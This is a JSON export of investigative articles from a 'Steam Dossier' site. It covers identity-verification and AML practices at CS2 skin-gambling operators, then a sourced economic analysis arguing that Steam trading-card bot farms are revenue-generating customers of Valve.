            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#gift-code-route"
          },
          {
            "level": 2,
            "text": "A deposit address does not identify its custodian.",
            "anchor": "pd-aml-data--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#wallet-custody"
          },
          {
            "level": 3,
            "text": "The operator controls the release.",
            "anchor": "pd-aml-data--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#wallet-custody"
          },
          {
            "level": 3,
            "text": "Custody remains to be attributed.",
            "anchor": "pd-aml-data--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#wallet-custody"
          },
          {
            "level": 3,
            "text": "The user may hold an exchange account.",
            "anchor": "pd-aml-data--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#wallet-custody"
          },
          {
            "level": 2,
            "text": "“Our specially trained team.”",
            "anchor": "pd-aml-data--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#promise"
          },
          {
            "level": 3,
            "text": "Highest standards. Exclusive handling. Safety at all times.",
            "anchor": "pd-aml-data--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#promise"
          },
          {
            "level": 3,
            "text": "The promise has no measurable specification.",
            "anchor": "pd-aml-data--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#promise"
          },
          {
            "level": 3,
            "text": "A payment processor is a different part of the chain.",
            "anchor": "pd-aml-data--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#promise"
          },
          {
            "level": 2,
            "text": "A friendly phrase. A restriction on access.",
            "anchor": "pd-aml-data--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#leverage"
          },
          {
            "level": 3,
            "text": "Verification proceeds",
            "anchor": "pd-aml-data--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#leverage"
          },
          {
            "level": 3,
            "text": "Withdrawal delayed",
            "anchor": "pd-aml-data--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#leverage"
          },
          {
            "level": 3,
            "text": "Consent cannot be reduced to a forced choice.",
            "anchor": "pd-aml-data--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#leverage"
          },
          {
            "level": 2,
            "text": "From a passport to a family’s financial history.",
            "anchor": "pd-aml-data--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#documents"
          },
          {
            "level": 3,
            "text": "An identity record becomes a financial dossier.",
            "anchor": "pd-aml-data--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#data-risk"
          },
          {
            "level": 3,
            "text": "A selfie raises an additional question about processing.",
            "anchor": "pd-aml-data--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#documents"
          },
          {
            "level": 2,
            "text": "The brand is not the legal identity.",
            "anchor": "pd-aml-data--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#operators"
          },
          {
            "level": 3,
            "text": "Max Stacks Limited",
            "anchor": "pd-aml-data--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#operators"
          },
          {
            "level": 3,
            "text": "Lumigrid OÜ PAYPLAYSOFT LIMITED",
            "anchor": "pd-aml-data--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#operators"
          },
          {
            "level": 3,
            "text": "Company registration does not establish a gambling licence.",
            "anchor": "pd-aml-data--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#operators"
          },
          {
            "level": 2,
            "text": "Specific discrepancies. Identifiable sources.",
            "anchor": "pd-aml-data--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#record"
          },
          {
            "level": 3,
            "text": "Exclusive team handling; broader sharing elsewhere.",
            "anchor": "pd-aml-data--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-team"
          },
          {
            "level": 3,
            "text": "A 2026 notice still lists Privacy Shield.",
            "anchor": "pd-aml-data--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-shield"
          },
          {
            "level": 3,
            "text": "The terms’ privacy link resolved to the FAQ.",
            "anchor": "pd-aml-data--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-link"
          },
          {
            "level": 3,
            "text": "A 2024 revision date names a company formed in 2026.",
            "anchor": "pd-aml-data--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-dates"
          },
          {
            "level": 3,
            "text": "The Estonian company is paired with UK law.",
            "anchor": "pd-aml-data--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-law"
          },
          {
            "level": 3,
            "text": "Attention to the AML policy is itself a suspicion indicator.",
            "anchor": "pd-aml-data--heading-46",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-suspicion"
          },
          {
            "level": 3,
            "text": "The notices do not explain the life of the KYC file.",
            "anchor": "pd-aml-data--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#finding-retention"
          },
          {
            "level": 2,
            "text": "Who imposes the duty? Who supervises its use?",
            "anchor": "pd-aml-data--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "Name the law. Show the connection.",
            "anchor": "pd-aml-data--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "The party deciding why the file is collected is accountable.",
            "anchor": "pd-aml-data--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 2,
            "text": "There are named regulators. There are recorded actions.",
            "anchor": "pd-aml-data--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "CSGORoll / Feral Holdings Limited",
            "anchor": "pd-aml-data--heading-52",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "CSGOFast / Gamusoft LP",
            "anchor": "pd-aml-data--heading-53",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "CSGOFast / Gamusoft LP",
            "anchor": "pd-aml-data--heading-54",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "Protection follows the processing.",
            "anchor": "pd-aml-data--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "Identify the applicable protection.",
            "anchor": "pd-aml-data--heading-56",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#authority"
          },
          {
            "level": 3,
            "text": "The non-gambling claim beside the trading machinery.",
            "anchor": "pd-aml-data--heading-57",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data"
          },
          {
            "level": 2,
            "text": "Make the handling of identity inspectable.",
            "anchor": "pd-aml-data--heading-58",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#questions"
          },
          {
            "level": 3,
            "text": "Your documents. Their discretion.",
            "anchor": "pd-aml-data--heading-59",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-investigation"
          },
          {
            "level": 2,
            "text": "What was checked.",
            "anchor": "pd-aml-data--heading-60",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#method"
          },
          {
            "level": 2,
            "text": "Read the underlying record.",
            "anchor": "pd-aml-data--heading-61",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/aml-data"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/aml-data.html"
          },
          {
            "label": "Read the operator’s wording ↗",
            "url": "https://csgofast.com/responsible-play-policy"
          },
          {
            "label": "Funding instructions ↗",
            "url": "https://csgofast.com/faq"
          },
          {
            "label": "AML policy ↗",
            "url": "https://csgofast.com/aml-policy"
          },
          {
            "label": "Dutch enforcement record ↗",
            "url": "https://kansspelautoriteit.nl/gamusoft-lp"
          },
          {
            "label": "Payment routes and redemption terms ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#payments"
          },
          {
            "label": "CSGORoll’s document demands and withdrawal conditions ↗",
            "url": "https://www.csgoroll.com/info/aml-policy/"
          },
          {
            "label": "trade-tracking audit",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "READ THE CONNECTED EVIDENCEEmpire’s coin settlement, Steam-token collection and P2P trade controlsThe identity hold acts on a balance controlled by the operator. ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "NEW / THE COLLECTED INVENTORY186,127 priced listings. $19,283,716.61.Empire, Roll and Fast: the supplied minimum-price valuation, full item explorer and original CSVs.",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-snapshot"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/aml-data.html#gift-code-route"
          },
          {
            "label": "Payment routes and enforcement counts ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#payments"
          },
          {
            "label": "Who controls settlement ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#control"
          },
          {
            "label": "Read the policy ↗",
            "url": "https://www.csgoroll.com/info/aml-policy/"
          },
          {
            "label": "REGISTRY CODE17589540Open the official card ↗",
            "url": "https://ariregister.rik.ee/eng/company/17589540/Lumigrid-O%C3%9C"
          },
          {
            "label": "Read the Fast findings ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html#fast"
          },
          {
            "label": "Read the added source record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-payment-review-2026-10-11/review-record.json"
          },
          {
            "label": "Download evidence record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/review-record.json"
          },
          {
            "label": "Payments & enforcement ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html"
          },
          {
            "label": "Main investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#privacy"
          },
          {
            "label": "Session-token code audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "User Verification and Security / AML policy ↗",
            "url": "https://www.csgoroll.com/info/aml-policy/"
          },
          {
            "label": "Terms of Service — effective 12 August 2026 ↗",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "Privacy policy — revised 1 August 2026 ↗",
            "url": "https://www.csgoroll.com/info/privacy-policy/"
          },
          {
            "label": "Privacy URL incorporated by the terms ↗",
            "url": "https://www.csgoroll.com/en/info/privacy-statement"
          },
          {
            "label": "AML-CFT policy — displayed date 10.11.2024 ↗",
            "url": "https://csgofast.com/aml-policy"
          },
          {
            "label": "Privacy policy — displayed date 10.11.2024 ↗",
            "url": "https://csgofast.com/privacy-policy"
          },
          {
            "label": "Lumigrid OÜ — registry code 17589540 ↗",
            "url": "https://ariregister.rik.ee/eng/company/17589540/Lumigrid-O%C3%9C"
          },
          {
            "label": "List of legal gambling operators ↗",
            "url": "https://www.emta.ee/en/business-client/registration-business/gambling-operators/list-legal-gambling-operators"
          },
          {
            "label": "Action against CS:GO Roll / Feral Holdings — 17 May 2023 ↗",
            "url": "https://www.acma.gov.au/articles/2023-05/acma-takes-action-against-illegal-skins-gambling-site"
          },
          {
            "label": "Interactive gambling enforcement — April to June 2025 ↗",
            "url": "https://www.acma.gov.au/publications/2025-07/report/action-interactive-gambling-april-june-2025"
          },
          {
            "label": "Process personal data lawfully ↗",
            "url": "https://www.edpb.europa.eu/sme/be-compliant/process-personal-data-lawfully_en"
          },
          {
            "label": "Data controller or data processor ↗",
            "url": "https://www.edpb.europa.eu/sme/learn-the-basics/data-controller-or-data-processor_en"
          },
          {
            "label": "Schrems II — judgment announcement, 16 July 2020 ↗",
            "url": "https://curia.europa.eu/jcms/upload/docs/application/pdf/2020-07/cp200091en.pdf"
          },
          {
            "label": "EU–US data transfers ↗",
            "url": "https://commission.europa.eu/law/law-topic/data-protection/international-dimension-data-protection/eu-us-data-transfers_en"
          },
          {
            "label": "Respect individuals’ rights ↗",
            "url": "https://www.edpb.europa.eu/sme/be-compliant/respect-individuals-rights_en"
          },
          {
            "label": "International data transfers ↗",
            "url": "https://www.edpb.europa.eu/sme/be-compliant/international-data-transfers_en"
          },
          {
            "label": "Gamusoft LP — order dated 16 April 2025 ↗",
            "url": "https://kansspelautoriteit.nl/gamusoft-lp"
          },
          {
            "label": "Biometric-data definition — paragraphs 312–313 ↗",
            "url": "https://www.edpb.europa.eu/system/files/2025-02/decision1594_0.pdf"
          },
          {
            "label": "Money Laundering and Terrorist Financing Prevention Act ↗",
            "url": "https://www.riigiteataja.ee/en/akt/520072026005"
          },
          {
            "label": "Guidelines 3/2018 on territorial scope ↗",
            "url": "https://www.edpb.europa.eu/sites/default/files/files/file1/edpb_guidelines_3_2018_territorial_scope_after_public_consultation_en_1.pdf"
          },
          {
            "label": "Members — national supervisory authorities ↗",
            "url": "https://www.edpb.europa.eu/about-edpb/about-edpb/members_en"
          },
          {
            "label": "Frequently Asked Questions ↗",
            "url": "https://cppa.ca.gov/faq.html"
          },
          {
            "label": "Responsible Play Policy ↗",
            "url": "https://csgofast.com/responsible-play-policy"
          },
          {
            "label": "FAQ — balances, KYC and P2P settlement ↗",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "What Payment Methods do we Accept? ↗",
            "url": "https://intercom.help/csgoroll/en/articles/9626919-what-payment-methods-do-we-accept"
          },
          {
            "label": "CSGORoll 1 Coin Gift Card ↗",
            "url": "https://www.kinguin.net/category/377753/csgoroll-1-coin-gift-card"
          },
          {
            "label": "CSGOFAST 10 Fast Coins Gift Card ↗",
            "url": "https://www.kinguin.net/category/82747/csgofast-10-usd-gift-card"
          },
          {
            "label": "Purchase Protection Program ↗",
            "url": "https://www.paypal.com/us/legalhub/paypal/buyer-protection"
          },
          {
            "label": "Terms of Service — 6 October 2026 ↗",
            "url": "https://csgoempire.com/tos"
          },
          {
            "label": "KYC checks — 13 February 2025 ↗",
            "url": "https://help.csgoempire.com/en/articles/5349729-kyc-checks"
          },
          {
            "label": "Account under manual review — 13 February 2025 ↗",
            "url": "https://help.csgoempire.com/en/articles/5911936-account-under-manual-review"
          },
          {
            "label": "Main FAQ / About ↗",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "Privacy policy — 12 February 2025 ↗",
            "url": "https://csgoempire.com/privacy-policy"
          },
          {
            "label": "Kinguin gift-card purchase and redemption page ↗",
            "url": "https://csgoempire.com/deposit/kinguin"
          },
          {
            "label": "CSGOEmpire 100 Coin Gift Card — listing 90693 ↗",
            "url": "https://www.kinguin.net/category/90693/csgoempire-100-coin-gift-card"
          },
          {
            "label": "FAQ — balance funding ↗",
            "url": "https://csgofast.com/faq"
          },
          {
            "label": "How to make a withdrawal? ↗",
            "url": "https://csgofast.gg/faq/general_info/1"
          },
          {
            "label": "Which payment methods does Kinguin accept? ↗",
            "url": "https://support.kinguin.net/hc/en-us/articles/37698235193245-Which-payment-methods-does-Kinguin-accept"
          },
          {
            "label": "Terms and Conditions v1.3 — September 2026 ↗",
            "url": "https://static.kinguin.net/cms/2026_9_25_Kinguin_net_T_and_C_ver_1_3_ENG_3cf9318e46/2026_9_25_Kinguin_net_T_and_C_ver_1_3_ENG_3cf9318e46.pdf"
          },
          {
            "label": "User Agreement — 14 September 2026 ↗",
            "url": "https://www.paypal.com/us/legalhub/paypal/useragreement-full"
          },
          {
            "label": "Acceptable Use Policy ↗",
            "url": "https://www.paypal.com/us/legalhub/paypal/acceptableuse-full"
          },
          {
            "label": "How do I sell my crypto? — 20 July 2023 ↗",
            "url": "https://help.csgoempire.com/en/articles/5366952-how-do-i-sell-my-crypto"
          },
          {
            "label": "Do I need to wager to withdraw? (Crypto) — 27 November 2023 ↗",
            "url": "https://help.csgoempire.com/en/articles/5366986-do-i-need-to-wager-to-withdraw-crypto"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Three operators. Three sets of published rules. Reviewed 11 October 2026.",
            "rows": [
              [
                "Operator / unit",
                "Value entering",
                "What leaves",
                "Identity gate"
              ],
              [
                "CSGORollCoins / eligible Roll Chips",
                "Paid Coin top-ups; skin, card, bank, crypto and gift-card routes are documented. [K11]",
                "The FAQ links Coins to CS2 skins and Chips to crypto, and rules out converting Coins into Chips. The terms restrict ordinary Coins’ cash redemption. [K10] [K02]",
                "The FAQ describes a KYC lock after 2,000 Coins in top-ups, plus restrictions on rewards and games. This is broader than a final cash-out check. [K10]"
              ],
              [
                "CSGOFastCredits / Fast Coins",
                "Skins, partner gift codes, crypto and card-mediated routes. The gift-code purchase happens on a partner’s site. [K43]",
                "The reviewed withdrawal guide describes a skin delivered by another Steam user. Its policy nevertheless denies real-world monetary value to Credits and digital items. [K44] [K07]",
                "The AML notice makes requested data mandatory and connects refusal to delays or ineligibility. It does not supply one universal numerical withdrawal threshold. [K05]"
              ],
              [
                "CSGOEmpireEmpire Coins",
                "Its terms cover skins, supported crypto and fiat. Its own deposit page directs gift-card buyers to Kinguin. [K36] [K41]",
                "Published routes include skins and crypto. Its help distinguishes skin deposits, which need no wagering for crypto withdrawal, from cash/crypto deposits, where full-deposit wagering is required; skins remain an alternative. [K50]",
                "Current terms and older help describe different 4,500-Coin triggers. Both allow earlier checks. [K36] [K37] Compare the documents ↓"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-payment-review-2026-10-11/review-record.json",
          "sha256": "f01d997e9478c4b2d09bb5465d46b256a9b4fd00235216aa777c882e9082e16e",
          "bytes": 9624
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/review-record.json",
          "sha256": "2afe5f27562b6ba94b8c7e4887882b4925bc179d07f6cc2601378c6001c0ed2b",
          "bytes": 26246
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "card_economy",
      "language": "en",
      "title": "The card economy — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/card_economy",
      "source_file": "steam_dossier/card_economy.html",
      "source_html_sha256": "348c90e4f8ec26e77b717009ac2fd24124fcedad1adac8390d28aa0c901fb937",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "card_economy.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/card_economy.pdf",
        "sha256": "0015d909b26c58ac7e7072f8ad205860358f86d7addfe4e6a5d130ace27209d6",
        "bytes": 482090,
        "pages": 27
      },
      "integrity": {
        "signed_object": "card_economy.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/card_economy.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/card_economy.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit V — The card economy\nThe Card Economy — Wholesaling, Drop Limits & Automated Farming\n\nA bot farm is not a leak in Valve's store. It is a customer.\n\nWHAT THIS SECTION PROVES\n\nThis chapter proves that automated Steam card farms operate as structural, revenue-generating wholesale customers rather than unauthorized exploiters. Every farming bot must clear Valve's $5.00 activation threshold, purchase game licenses, and generate guaranteed market transaction fees (floored at $0.02, extracting up to 66.7% fee rates on low-value assets). Despite explicit Terms of Service prohibitions against automated bot networks, 91 audited commercial bot networks openly maintain 694,673 complete card sets across Steam's ecosystem without enforcement interference.\n\n← Back to Executive briefing\n\nA Steam account cannot receive a single trading card until it has spent $5.00 in the store. It cannot farm a game it does not own, and it cannot farm one it was given free. So before an automated card farm produces anything at all, it has bought its way in — per account, at a price Valve publishes. Then Valve's automation clause names, line by line, exactly what that farm produces; its licence forbids every route by which a farmed card turns into money; and its market takes a cut when the card goes anyway — advertised at 15%, but floored at two cents a sale, which on a card priced in cents is most of the price. This exhibit measures how large that trade is, what the level at the top of a profile costs in sets, and what Valve's enforcement desk does with the same clause when the account belongs to an ordinary trader.\n\nWhat a farm has to buy first What a level costs in sets Both sides of the desk Who moderates the card economy\n$5.00Store spend before an account can receive any card — Valve's own support page\n13,876Games on Steam that issue trading cards, holding 99,971 distinct card types\n694,673Complete card sets held in stock right now by 91 publicly listed trading bots\n1,389,346Account-and-game card drop allowances that stock has already consumed, at minimum\n$9.99Median price of a card-bearing game — its finished set sells for a median of $0.74\n97,114Members of the card-trading group whose moderator list carries a Valve employee — § 08\n01 — The process\nWhat a farm actually is, step by step\n\nDescribed only from the tool's own documentation and Valve's own support pages. Nothing in this section is inferred, and nothing in it is disputed by either party.\n\nStep 1\nBuy in\n\nThe account must not be limited. Valve's support page bars limited accounts from \"Participating in the Steam Market\", from \"Trading Steam Community items (trading cards, booster packs, gems, etc.)\" and from \"Gaining Steam Profile Levels (Locked to level 0) and Trading Cards\". The gate is money: \"You will need to spend at least $5.00 USD within the Steam store.\"\n\nStep 2\nBuy games\n\nCards drop only from owned games. \"You need to own the game on your Steam account in order to be eligible for any card drops from it. Family sharing is not ownership and doesn't count.\" The free routes are closed too: \"Paid games that you've obtained for free during a promotion can't be farmed for card drops\", and \"You can't drop cards from F2P games without spending any money in them.\"\n\nStep 3\nIdle\n\nThe tool logs the account into the Steam network headlessly, \"parses your badges\", builds the list of farmable titles and starts \"playing eligible game and periodically checking if game is fully farmed already.\" Its maintainer's description of the mechanism: it \"does not do anything else than telling Steam we're playing given game.\"\n\nStep 4\nDrops run out\n\nEach title is finite. \"Every game has fixed number of card drops. Once you drop all of them (around a half of the full set), the game is not a candidate for farming anymore.\" A farm that wants to keep producing has to keep buying titles. Card supply is throttled by purchases — by design, and in Valve's favour.\n\nStep 5\nCash out\n\nThe card leaves by one of three doors: sold on the Community Market, traded away, or crushed into gems. Each is a Subscription Marketplace transaction or a trade, and § 3.D reserves the charge: \"Valve may charge a fee for transactions in a Subscription Marketplace.\" This is the step that makes the whole thing a breach — see 05.\n\nSources, read and quoted verbatim on 2026-09-22: Steam Support — Limited User Accounts ↗ · ArchiSteamFarm FAQ ↗ · Valve — Steam Trading Cards FAQ ↗ · Steam Subscriber Agreement ↗ archived 2026-09-24 ↗. ArchiSteamFarm is used throughout this page as a measuring instrument, not as a defendant; its own documentation states plainly that \"ASF is not authorized by Valve\".\n\n02 — The scale\nBefore a farm earns a cent, it has already paid Valve\n\nBecause a limited account cannot receive a card, every account in a farm must be bought out of limited status before it produces anything. The threshold is published, and it is charged per account.\n\nFarm size\tWhere the number comes from\tMinimum store spend to make them card-eligible\n10 accounts\tThe ceiling ASF recommends — \"based on internal Valve guidelines, as well as our own suggestions\"\t$50\n100–200 accounts\tTechnical ceiling in the same FAQ: \"you can run up to 100-200 bots with a single IP and a single ASF instance\"\t$500 – $1,000\n120 accounts\tEnforcement case 3 below — permanently banned\t$600\n170 accounts\tEnforcement case 2 below — permanently banned during the 2017 Winter Sale\t$850\n1,000 accounts\tEnforcement case 1 below — trade banned\t$5,000\n5,000 accounts unverified\tOperator scale reported to this investigation and not independently checked — see the note on sourcing\t$25,000\n10,000 accounts unverified\tOperator scale reported to this investigation and not independently checked — see the note on sourcing\t$50,000\n\nThe last two rows are the only figures on this page resting on an unverified report rather than a document — they are marked in the table, explained in the note on sourcing, and nothing else here depends on them. The right-hand column is arithmetic on Valve's published $5.00 USD threshold and nothing else. It is a floor, not an estimate of what a farm costs or of what Valve earned: it excludes the games, which must be owned and cannot have come free in a promotion, and it excludes the roughly 15% the Community Market takes when the cards are sold. No revenue figure is claimed on this page.\n\nAnd Valve has priced a card drop itself. Its Trading Cards FAQ sets the free-to-play conversion rate in plain dollars:\n\n\"Free to play games drop game cards based on your in-game purchasing. For every $9 USD spent (approximate) since the start of the Steam Trading Card Beta, you will earn one card drop.\"\n\n— Valve, Steam Trading Cards FAQ ↗ · verified verbatim 2026-09-22\n\nA trading card is not a giveaway the platform loses money on. It is something Valve sells, at a rate Valve published — and then charges a second time to sell onward. Which is why the honest description of a card farm is not parasite. It is wholesale buyer.\n\nHow large the thing being bought actually is\n\nEverything from here to the end of this section is measured, not reported. The card census is Steam Card Exchange's published badge pricelist; the prices of the games themselves come from Valve's own store API; the bot stock comes from a public bot directory that anyone can open. All three were read on 2026-09-22 and the arithmetic is given in full in section 08.\n\n13,876Games issuing cards\n99,971Distinct card types\n5 · 6 · 15Cards per set: min, median, max\n$0.74Median price of a finished set\n$23,586.57One of every set at market\nHow big a set is\n\n13,876 games by cards in the set. Valve drops about half of them to any one account.\n\nWhat the licence costs\n\nList price of the same games on Steam's store, in US dollars.\n\nWhat the finished set returns\n\nMarket price of the completed set for the same games.\n\nRead the second and third charts against each other and the shape of the trade is visible without arithmetic: the games cluster in the tens of dollars, the sets they yield cluster under one dollar. Both are counts of the same 13,876 games, on the same axis unit, so the comparison is between two heights and not between two scales.\n\nThat is the supply side. The demand side is the part Valve does not have to advertise, because it is already sitting in public: a single open directory of card-trading bots lists 91 bots holding 694,673 complete sets in stock at this moment. No login, no scraping of a marketplace, no private data — the stock figure is printed on the page next to each bot's name.\n\nTurn that stock into the only unit that matters here. Valve's own rule: \"Most games will drop a number of cards equal to about half the number of cards in that game's set of cards… You'll need to collect the other half of the set from other community members.\" One account can never finish a set by playing. Two, at the absolute minimum, each owning that game, each burning its once-per-game drop allowance. Drops do not regenerate.\n\n694,673Sets in stock, 91 public bots\n3,473,365Cards, at the 5-card minimum set\n1,389,346Drop allowances consumed, minimum\n2,602Accounts owning one single game, densest bot\nWhere the 694,673 sets are sitting\n\nThe twelve largest of the 91 publicly listed card bots, by complete sets in stock. The ten largest hold 248,115 sets between them — 35.7% of everything on the board.\n\nEvery one of those 1.39 million allowances belonged to an account that owned the game, was past the $5.00 gate, and can never produce those drops again. This is unsold inventory on ninety-one bots. It is not a measure of the market; it is a measure of what is left over after the market.\n\nThe last figure is a pigeonhole floor, not a headcount. One bot lists 14,310 sets drawn from only 11 games, so at least one of those games is represented by 1,301 sets, which is at least 2,602 distinct accounts that each bought that game. It is the smallest number the arithmetic permits, and it concerns one bot out of ninety-one.\n\nWhat this floor does and does not say\n\nThese bots buy cards from ordinary players as well as from farms — their published buy rates are the point of the directory. So the 1.39 million allowances are not a count of farm-owned accounts. They are a count of once-per-account, once-per-game drop allowances that have been spent somewhere on Steam and have ended up, unsold, in commercial stock. Whether the account behind each one was a farm or a teenager clearing their badges page does not change what Valve collected: the $5.00 unlock, the game licence, and a Market cut on every hop — not 15%, but 15% or the two one-cent minimums, whichever is larger, which on a card priced in cents is the larger by far. The arithmetic is in the fee ladder below. That is the point of this page, and it is not a complaint about farmers: the same conduct Valve charges a fee on is the conduct it cites, word for word, when it permanently bans an individual for \"commercial use\".\n\nThe figure is also a floor in a second sense. It counts only stock that is listed and unsold today on bots that choose to be in a public directory. Everything already sold, everything held privately, and every bot outside the directory is excluded.\n\nAnd farming does not pay for itself at Valve's prices\n\nThe obvious objection is that a farm buys cheap games to mint expensive cards. Steam's own store API says otherwise. Of the 13,876 card-bearing games, prices resolved for 13,713; 12,918 are paid titles with a median list price of $9.99. The median finished set sells for $0.74. Two licences are needed per set. So the median set costs roughly $19.98 of game licences to produce and returns $0.74.\n\nMeasured on 2026-09-22\tValue\tWhat it settles\nMedian list price, card-bearing game\t$9.99\tThe licence is the expensive half of the transaction, not the card\nGames priced at $4.99 or less\t3,665 (28.4%)\tEven the cheap tail is dearer than the set it yields\nCheapest card-bearing game on the store\t$0.99\tTwo licences, $1.98, for a set that typically sells under $1.30\nGames whose set sells for more than the game\t323 of 12,918 (2.5%)\tCard arbitrage against Steam's list prices exists in 1 game in 40\nFree-to-play titles in the census\t795\tAnd Valve prices each of their drops at $9 of in-game spend\n\nWhich closes the economic question in Valve's favour and against the usual story. At the prices Valve itself charges, card farming is a loss-making activity that only works on licences acquired below Steam's list price — bundles, regional pricing, key resale. The cards are the residue. The purchase is the event. And the purchase happened on Steam.\n\nWhat the farm actually props up\n\nPut the pieces together and the farm stops looking like something Valve tolerates and starts looking like something Valve needs. Every input a farm supplies is an output Valve reports or bills for. Follow one bot account outward:\n\nOne farmed accounta \"wholesale customer\", not a leak\nGame sales\n\nBuys the titles it farms — from the 13,876 card games to the $0.50 shovelware — because cards only drop from owned games.\n\n\"Online\" & playtime\n\nIdles them to drop cards, feeding the concurrent-player and hours-played figures Valve cites as engagement — the exact stat § 4.C calls \"faking playtime\".\n\nRegistrations\n\nMust clear the $5.00 limited-account gate before it can receive a card — a real store spend Valve 